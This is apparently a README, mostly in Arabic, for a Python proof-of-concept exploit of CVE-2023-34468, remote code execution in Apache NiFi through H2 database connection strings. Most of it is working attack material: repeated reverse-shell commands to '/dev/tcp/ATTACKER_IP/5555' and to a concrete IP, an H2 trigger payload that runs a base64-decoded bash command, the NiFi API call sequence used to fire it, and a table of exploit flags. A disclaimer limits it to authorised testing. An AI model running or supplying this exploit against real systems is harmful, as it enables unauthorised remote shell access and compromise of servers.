
CVE-2023-34468 - Apache NiFi H2 RCE PoC
يوفر هذا المستودع أداة استغلال مبنية على بايثون لثغرة CVE-2023-34468، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (بدرجة CVSS 9.8) في إصدارات Apache NiFi من 0.0.2 إلى 1.21.0. تتيح للمستخدمين المصادَق عليهم تنفيذ تعليمات برمجية عشوائية عبر التلاعب بسلاسل اتصال قاعدة بيانات H2 مع مشغّلات مدمجة.
⚠️ تحذير: لأغراض تعليمية والاختبار المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
requestsnc -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Start your listener
nc -lnvp 5555
# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <your_bearer_token>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
التحقق: تحقق من المستمع (Listener) لديك بحثًا عن اتصال الصدفة العكسية. نفّذ الأمر id لتأكيد تنفيذ التعليمات البرمجية.
/nifi-api/system-diagnostics/nifi-api/process-groups/root/controller-services/nifi-api/controller-services/{id}/run-status مع الحالة ENABLED/nifi-api/processors/{id}/run-status مع الحالة RUNNING — يتم إطلاق مشغّل H2 عند الاتصالjdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
نقاط رئيسية:
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (يتم التشغيل تلقائيًا)# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
هذه الأداة مقدمة لأغراض البحث الأمني والاختبار المصرح به فقط. المؤلف غير مسؤول عن سوء الاستخدام أو الأضرار الناتجة عن هذا الاستغلال. اختبر دائمًا بمسؤولية وفي بيئات مصرح بها فقط.
رخصة MIT - راجع ملف LICENSE للتفاصيل
صُممت للبحث الأمني واختبار الاختراق المصرح به.
المواضيع: apache-nifi h2-database rce exploit cve-2023-34468 python security-research
| الأمر | الوصف |
|---|
-t, --target | عنوان URL لنسخة NiFi الهدف (مطلوب) |
-c, --command | الأمر المراد تنفيذه (مطلوب) |
-lh, --lhost | مضيف المستمع (Listener) لاستدعاء الإرجاع (مطلوب) |
-lp, --lport | منفذ المستمع (Listener) لاستدعاء الإرجاع (مطلوب) |
-u, --username | اسم مستخدم NiFi (للنسخ التي تتطلب مصادقة) |
-p, --password | كلمة مرور NiFi (للنسخ التي تتطلب مصادقة) |
--token | Bearer token (للنسخ التي تتطلب مصادقة) |
--no-cleanup | تخطي التنظيف بعد الاستغلال |
--delay | عدد الثواني المطلوب الانتظار قبل التنظيف (الافتراضي: 10) |
--driver-path | تجاوز مسار ملف jar الخاص ببرنامج تشغيل H2 (محذوف افتراضيًا) |